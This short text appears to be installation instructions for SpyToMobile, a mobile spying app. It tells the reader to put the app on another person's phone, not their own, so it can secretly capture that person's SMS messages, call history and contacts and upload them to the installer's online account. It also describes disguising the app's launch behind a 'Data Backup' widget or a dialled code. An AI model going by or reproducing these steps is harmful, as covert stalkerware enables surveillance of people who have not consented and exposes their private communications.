Install the SpyToMobile app on the cell phone you want to follow. Do not install it on your phone. The app will intercept incoming and outgoing SMS messages, call history and contacts. The SpyToMobile app will upload all retrieved data over the Internet to your account on SpyToMobile.com
Enter the captcha!

If you have Android 4.* put 'Data Backup' widget on the screen to start the application.
If you have Android 2.* start the application by dialing '51' and then press the call button.